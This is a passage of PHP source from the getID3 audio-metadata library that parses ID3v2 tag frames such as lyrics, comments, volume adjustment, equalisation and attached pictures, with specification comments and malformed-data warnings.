(($key % 2) == 0) { $position = $value; } else { $person = $value; $IPLS_parts[] = array('position'=>$position, 'person'=>$person); $position = ''; $person = ''; } } } else { foreach ($IPLS_parts_unsorted as $key => $value) { $IPLS_parts[] = array($value); } } } else { $IPLS_parts = preg_split('#[;,\\r\\n\\t]#', $parsedFrame['data_raw']); } $parsedFrame['data'] = $IPLS_parts; if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data']; } } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MCDI')) || // 4.4 MCDI Music CD identifier (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MCI'))) { // 4.5 MCI Music CD identifier // There may only be one 'MCDI' frame in each tag //
    // CD TOC if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data']; } } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ETCO')) || // 4.5 ETCO Event timing codes (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ETC'))) { // 4.6 ETC Event timing codes // There may only be one 'ETCO' frame in each tag //
    // Time stamp format $xx // Where time stamp format is: // $01 (32-bit value) MPEG frames from beginning of file // $02 (32-bit value) milliseconds from beginning of file // Followed by a list of key events in the following format: // Type of event $xx // Time stamp $xx (xx ...) // The 'Time stamp' is set to zero if directly at the beginning of the sound // or after the previous event. All events MUST be sorted in chronological order. $frame_offset = 0; $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); while ($frame_offset < strlen($parsedFrame['data'])) { $parsedFrame['typeid'] = substr($parsedFrame['data'], $frame_offset++, 1); $parsedFrame['type'] = $this->ETCOEventLookup($parsedFrame['typeid']); $parsedFrame['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MLLT')) || // 4.6 MLLT MPEG location lookup table (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MLL'))) { // 4.7 MLL MPEG location lookup table // There may only be one 'MLLT' frame in each tag //
    // MPEG frames between reference $xx xx // Bytes between reference $xx xx xx // Milliseconds between reference $xx xx xx // Bits for bytes deviation $xx // Bits for milliseconds dev. $xx // Then for every reference the following data is included; // Deviation in bytes %xxx.... // Deviation in milliseconds %xxx.... $frame_offset = 0; $parsedFrame['framesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 2)); $parsedFrame['bytesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 2, 3)); $parsedFrame['msbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 5, 3)); $parsedFrame['bitsforbytesdeviation'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 8, 1)); $parsedFrame['bitsformsdeviation'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 9, 1)); $parsedFrame['data'] = substr($parsedFrame['data'], 10); $deviationbitstream = ''; while ($frame_offset < strlen($parsedFrame['data'])) { $deviationbitstream .= getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); } $reference_counter = 0; while (strlen($deviationbitstream) > 0) { $parsedFrame[$reference_counter]['bytedeviation'] = bindec(substr($deviationbitstream, 0, $parsedFrame['bitsforbytesdeviation'])); $parsedFrame[$reference_counter]['msdeviation'] = bindec(substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'], $parsedFrame['bitsformsdeviation'])); $deviationbitstream = substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'] + $parsedFrame['bitsformsdeviation']); $reference_counter++; } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYTC')) || // 4.7 SYTC Synchronised tempo codes (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'STC'))) { // 4.8 STC Synchronised tempo codes // There may only be one 'SYTC' frame in each tag //
    // Time stamp format $xx // Tempo data // Where time stamp format is: // $01 (32-bit value) MPEG frames from beginning of file // $02 (32-bit value) milliseconds from beginning of file $frame_offset = 0; $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $timestamp_counter = 0; while ($frame_offset < strlen($parsedFrame['data'])) { $parsedFrame[$timestamp_counter]['tempo'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ($parsedFrame[$timestamp_counter]['tempo'] == 255) { $parsedFrame[$timestamp_counter]['tempo'] += ord(substr($parsedFrame['data'], $frame_offset++, 1)); } $parsedFrame[$timestamp_counter]['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $timestamp_counter++; } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USLT')) || // 4.8 USLT Unsynchronised lyric/text transcription (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ULT'))) { // 4.9 ULT Unsynchronised lyric/text transcription // There may be more than one 'Unsynchronised lyrics/text transcription' frame // in each tag, but only one with the same language and content descriptor. //
    // Text encoding $xx // Language $xx xx xx // Content descriptor $00 (00) // Lyrics/text $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } if (strlen($parsedFrame['data']) >= (4 + strlen($frame_textencoding_terminator))) { // shouldn't be an issue but badly-written files have been spotted in the wild with not only no contents but also missing the required language field, see https://github.com/JamesHeinrich/getID3/issues/315 $frame_language = substr($parsedFrame['data'], $frame_offset, 3); $frame_offset += 3; $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['language'] = $frame_language; $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); } } else { $this->warning('Invalid data in frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset']); } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYLT')) || // 4.9 SYLT Synchronised lyric/text (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'SLT'))) { // 4.10 SLT Synchronised lyric/text // There may be more than one 'SYLT' frame in each tag, // but only one with the same language and content descriptor. //
    // Text encoding $xx // Language $xx xx xx // Time stamp format $xx // $01 (32-bit value) MPEG frames from beginning of file // $02 (32-bit value) milliseconds from beginning of file // Content type $xx // Content descriptor $00 (00) // Terminated text to be synced (typically a syllable) // Sync identifier (terminator to above string) $00 (00) // Time stamp $xx (xx ...) $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_language = substr($parsedFrame['data'], $frame_offset, 3); $frame_offset += 3; $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['contenttypeid'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['contenttype'] = $this->SYTLContentTypeLookup($parsedFrame['contenttypeid']); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['language'] = $frame_language; $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); $timestampindex = 0; $frame_remainingdata = substr($parsedFrame['data'], $frame_offset); while (strlen($frame_remainingdata)) { $frame_offset = 0; $frame_terminatorpos = strpos($frame_remainingdata, $frame_textencoding_terminator); if ($frame_terminatorpos === false) { $frame_remainingdata = ''; } else { if (ord(substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['lyrics'][$timestampindex]['data'] = substr($frame_remainingdata, $frame_offset, $frame_terminatorpos - $frame_offset); $frame_remainingdata = substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator)); if (($timestampindex == 0) && (ord($frame_remainingdata[0]) != 0)) { // timestamp probably omitted for first data item } else { $parsedFrame['lyrics'][$timestampindex]['timestamp'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 4)); $frame_remainingdata = substr($frame_remainingdata, 4); } $timestampindex++; } } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMM')) || // 4.10 COMM Comments (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'COM'))) { // 4.11 COM Comments // There may be more than one comment frame in each tag, // but only one with the same language and content descriptor. //
    // Text encoding $xx // Language $xx xx xx // Short content descrip. $00 (00) // The actual text if (strlen($parsedFrame['data']) < 5) { $this->warning('Invalid data (too short) for "'.$parsedFrame['frame_name'].'" frame at offset '.$parsedFrame['dataoffset']); } else { $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_language = substr($parsedFrame['data'], $frame_offset, 3); $frame_offset += 3; $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $frame_text = (string) substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); $frame_text = $this->RemoveStringTerminator($frame_text, $frame_textencoding_terminator); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['language'] = $frame_language; $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); $parsedFrame['data'] = $frame_text; if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (!empty($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0)); if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); } else { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); } } } } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'RVA2')) { // 4.11 RVA2 Relative volume adjustment (2) (ID3v2.4+ only) // There may be more than one 'RVA2' frame in each tag, // but only one with the same identification string //
    // Identification $00 // The 'identification' string is used to identify the situation and/or // device where this adjustment should apply. The following is then // repeated for every channel: // Type of channel $xx // Volume adjustment $xx xx // Bits representing peak $xx // Peak volume $xx (xx ...) $frame_terminatorpos = strpos($parsedFrame['data'], "\x00"); $frame_idstring = substr($parsedFrame['data'], 0, $frame_terminatorpos); if (ord($frame_idstring) === 0) { $frame_idstring = ''; } $frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00")); $parsedFrame['description'] = $frame_idstring; $RVA2channelcounter = 0; while (strlen($frame_remainingdata) >= 5) { $frame_offset = 0; $frame_channeltypeid = ord(substr($frame_remainingdata, $frame_offset++, 1)); $parsedFrame[$RVA2channelcounter]['channeltypeid'] = $frame_channeltypeid; $parsedFrame[$RVA2channelcounter]['channeltype'] = $this->RVA2ChannelTypeLookup($frame_channeltypeid); $parsedFrame[$RVA2channelcounter]['volumeadjust'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, 2), false, true); // 16-bit signed $frame_offset += 2; $parsedFrame[$RVA2channelcounter]['bitspeakvolume'] = ord(substr($frame_remainingdata, $frame_offset++, 1)); if (($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] < 1) || ($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] > 4)) { $this->warning('ID3v2::RVA2 frame['.$RVA2channelcounter.'] contains invalid '.$parsedFrame[$RVA2channelcounter]['bitspeakvolume'].'-byte bits-representing-peak value'); break; } $frame_bytespeakvolume = ceil($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] / 8); $parsedFrame[$RVA2channelcounter]['peakvolume'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, $frame_bytespeakvolume)); $frame_remainingdata = substr($frame_remainingdata, $frame_offset + $frame_bytespeakvolume); $RVA2channelcounter++; } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'RVAD')) || // 4.12 RVAD Relative volume adjustment (ID3v2.3 only) (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'RVA'))) { // 4.12 RVA Relative volume adjustment (ID3v2.2 only) // There may only be one 'RVA' frame in each tag //
    // ID3v2.2 => Increment/decrement %000000ba // ID3v2.3 => Increment/decrement %00fedcba // Bits used for volume descr. $xx // Relative volume change, right $xx xx (xx ...) // a // Relative volume change, left $xx xx (xx ...) // b // Peak volume right $xx xx (xx ...) // Peak volume left $xx xx (xx ...) // ID3v2.3 only, optional (not present in ID3v2.2): // Relative volume change, right back $xx xx (xx ...) // c // Relative volume change, left back $xx xx (xx ...) // d // Peak volume right back $xx xx (xx ...) // Peak volume left back $xx xx (xx ...) // ID3v2.3 only, optional (not present in ID3v2.2): // Relative volume change, center $xx xx (xx ...) // e // Peak volume center $xx xx (xx ...) // ID3v2.3 only, optional (not present in ID3v2.2): // Relative volume change, bass $xx xx (xx ...) // f // Peak volume bass $xx xx (xx ...) $frame_offset = 0; $frame_incrdecrflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['incdec']['right'] = (bool) substr($frame_incrdecrflags, 6, 1); $parsedFrame['incdec']['left'] = (bool) substr($frame_incrdecrflags, 7, 1); $parsedFrame['bitsvolume'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_bytesvolume = ceil($parsedFrame['bitsvolume'] / 8); $parsedFrame['volumechange']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['right'] === false) { $parsedFrame['volumechange']['right'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['volumechange']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['left'] === false) { $parsedFrame['volumechange']['left'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; if ($id3v2_majorversion == 3) { $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); if (strlen($parsedFrame['data']) > 0) { $parsedFrame['incdec']['rightrear'] = (bool) substr($frame_incrdecrflags, 4, 1); $parsedFrame['incdec']['leftrear'] = (bool) substr($frame_incrdecrflags, 5, 1); $parsedFrame['volumechange']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['rightrear'] === false) { $parsedFrame['volumechange']['rightrear'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['volumechange']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['leftrear'] === false) { $parsedFrame['volumechange']['leftrear'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; } $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); if (strlen($parsedFrame['data']) > 0) { $parsedFrame['incdec']['center'] = (bool) substr($frame_incrdecrflags, 3, 1); $parsedFrame['volumechange']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['center'] === false) { $parsedFrame['volumechange']['center'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; } $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); if (strlen($parsedFrame['data']) > 0) { $parsedFrame['incdec']['bass'] = (bool) substr($frame_incrdecrflags, 2, 1); $parsedFrame['volumechange']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['bass'] === false) { $parsedFrame['volumechange']['bass'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; } } unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'EQU2')) { // 4.12 EQU2 Equalisation (2) (ID3v2.4+ only) // There may be more than one 'EQU2' frame in each tag, // but only one with the same identification string //
    // Interpolation method $xx // $00 Band // $01 Linear // Identification $00 // The following is then repeated for every adjustment point // Frequency $xx xx // Volume adjustment $xx xx $frame_offset = 0; $frame_interpolationmethod = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_idstring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_idstring) === 0) { $frame_idstring = ''; } $parsedFrame['description'] = $frame_idstring; $frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00")); while (strlen($frame_remainingdata)) { $frame_frequency = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 2)) / 2; $parsedFrame['data'][$frame_frequency] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, 2), false, true); $frame_remainingdata = substr($frame_remainingdata, 4); } $parsedFrame['interpolationmethod'] = $frame_interpolationmethod; unset($parsedFrame['data']); } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'EQUA')) || // 4.12 EQUA Equalisation (ID3v2.3 only) (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'EQU'))) { // 4.13 EQU Equalisation (ID3v2.2 only) // There may only be one 'EQUA' frame in each tag //
    // Adjustment bits $xx // This is followed by 2 bytes + ('adjustment bits' rounded up to the // nearest byte) for every equalisation band in the following format, // giving a frequency range of 0 - 32767Hz: // Increment/decrement %x (MSB of the Frequency) // Frequency (lower 15 bits) // Adjustment $xx (xx ...) $frame_offset = 0; $parsedFrame['adjustmentbits'] = substr($parsedFrame['data'], $frame_offset++, 1); $frame_adjustmentbytes = ceil($parsedFrame['adjustmentbits'] / 8); $frame_remainingdata = (string) substr($parsedFrame['data'], $frame_offset); while (strlen($frame_remainingdata) > 0) { $frame_frequencystr = getid3_lib::BigEndian2Bin(substr($frame_remainingdata, 0, 2)); $frame_incdec = (bool) substr($frame_frequencystr, 0, 1); $frame_frequency = bindec(substr($frame_frequencystr, 1, 15)); $parsedFrame[$frame_frequency]['incdec'] = $frame_incdec; $parsedFrame[$frame_frequency]['adjustment'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, $frame_adjustmentbytes)); if ($parsedFrame[$frame_frequency]['incdec'] === false) { $parsedFrame[$frame_frequency]['adjustment'] *= -1; } $frame_remainingdata = substr($frame_remainingdata, 2 + $frame_adjustmentbytes); } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RVRB')) || // 4.13 RVRB Reverb (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'REV'))) { // 4.14 REV Reverb // There may only be one 'RVRB' frame in each tag. //
    // Reverb left (ms) $xx xx // Reverb right (ms) $xx xx // Reverb bounces, left $xx // Reverb bounces, right $xx // Reverb feedback, left to left $xx // Reverb feedback, left to right $xx // Reverb feedback, right to right $xx // Reverb feedback, right to left $xx // Premix left to right $xx // Premix right to left $xx $frame_offset = 0; $parsedFrame['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['bouncesL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['bouncesR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['feedbackLL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['feedbackLR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['feedbackRR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['feedbackRL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['premixLR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['premixRL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'APIC')) || // 4.14 APIC Attached picture (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'PIC'))) { // 4.15 PIC Attached picture // There may be several pictures attached to one file, // each in their individual 'APIC' frame, but only one // with the same content descriptor //
    // Text encoding $xx // ID3v2.3+ => MIME type $00 // ID3v2.2 => Image format $xx xx xx // Picture type $xx // Description $00 (00) // Picture data $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_imagetype = null; $frame_mimetype = null; if ($id3v2_majorversion == 2 && strlen($parsedFrame['data']) > $frame_offset) { $frame_imagetype = substr($parsedFrame['data'], $frame_offset, 3); if (strtolower($frame_imagetype) == 'ima') { // complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted // MIME type instead of 3-char ID3v2.2-format image type (thanks xbhoffØpacbell*net) $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_mimetype) === 0) { $frame_mimetype = ''; } $frame_imagetype = strtoupper(str_replace('image/', '', strtolower($frame_mimetype))); if ($frame_imagetype == 'JPEG') { $frame_imagetype = 'JPG'; } $frame_offset = $frame_terminatorpos + strlen("\x00"); } else { $frame_offset += 3; } } if ($id3v2_majorversion > 2 && strlen($parsedFrame['data']) > $frame_offset) { $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_mimetype) === 0) { $frame_mimetype = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); } $frame_picturetype = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ($frame_offset >= $parsedFrame['datalength']) { $this->warning('data portion of APIC frame is missing at offset '.($parsedFrame['dataoffset'] + 8 + $frame_offset)); } else { $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); if ($id3v2_majorversion == 2) { $parsedFrame['imagetype'] = isset($frame_imagetype) ? $frame_imagetype : null; } else { $parsedFrame['mime'] = isset($frame_mimetype) ? $frame_mimetype : null; } $parsedFrame['picturetypeid'] = $frame_picturetype; $parsedFrame['picturetype'] = $this->APICPictureTypeLookup($frame_picturetype); $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); $parsedFrame['datalength'] = strlen($parsedFrame['data']); $parsedFrame['image_mime'] = ''; $imageinfo = array(); if ($imagechunkcheck = getid3_lib::GetDataImageSize($parsedFrame['data'], $imageinfo)) { if (($imagechunkcheck[2] >= 1) && ($imagechunkcheck[2] <= 3)) { $parsedFrame['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); if ($imagechunkcheck[0]) { $parsedFrame['image_width'] = $imagechunkcheck[0]; } if ($imagechunkcheck[1]) { $parsedFrame['image_height'] = $imagechunkcheck[1]; } } } do { if ($this->getid3->option_save_attachments === false) { // skip entirely unset($parsedFrame['data']); break; } $dir = ''; if ($this->getid3->option_save_attachments === true) { // great /* } elseif (is_int($this->getid3->option_save_attachments)) { if ($this->getid3->option_save_attachments < $parsedFrame['data_length']) { // too big, skip $this->warning('attachment at '.$frame_offset.' is too large to process inline ('.number_format($parsedFrame['data_length']).' bytes)'); unset($parsedFrame['data']); break; } */ } elseif (is_string($this->getid3->option_save_attachments)) { $dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR); if (!is_dir($dir) || !getID3::is_writable($dir)) { // cannot write, skip $this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$dir.'" (not writable)'); unset($parsedFrame['data']); break; } } // if we get this far, must be OK if (is_string($this->getid3->option_save_attachments)) { $destination_filename = $dir.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$frame_offset; if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) { file_put_contents($destination_filename, $parsedFrame['data']); } else { $this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$destination_filename.'" (not writable)'); } $parsedFrame['data_filename'] = $destination_filename; unset($parsedFrame['data']); } else { if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { if (!isset($info['id3v2']['comments']['picture'])) { $info['id3v2']['comments']['picture'] = array(); } $comments_picture_data = array(); foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) { if (isset($parsedFrame[$picture_key])) { $comments_picture_data[$picture_key] = $parsedFrame[$picture_key]; } } $info['id3v2']['comments']['picture'][] = $comments_picture_data; unset($comments_picture_data); } } } while (false); // @phpstan-ignore-line } } elseif ((($id3v2_majorversion >= 3) && 